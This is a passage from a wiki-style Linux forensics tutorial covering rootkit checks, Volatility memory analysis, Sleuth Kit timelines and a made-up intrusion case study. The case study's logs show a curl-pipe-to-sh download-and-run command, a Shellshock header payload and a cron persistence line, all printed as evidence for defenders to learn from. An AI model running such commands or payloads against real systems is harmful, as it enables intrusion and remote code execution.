&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
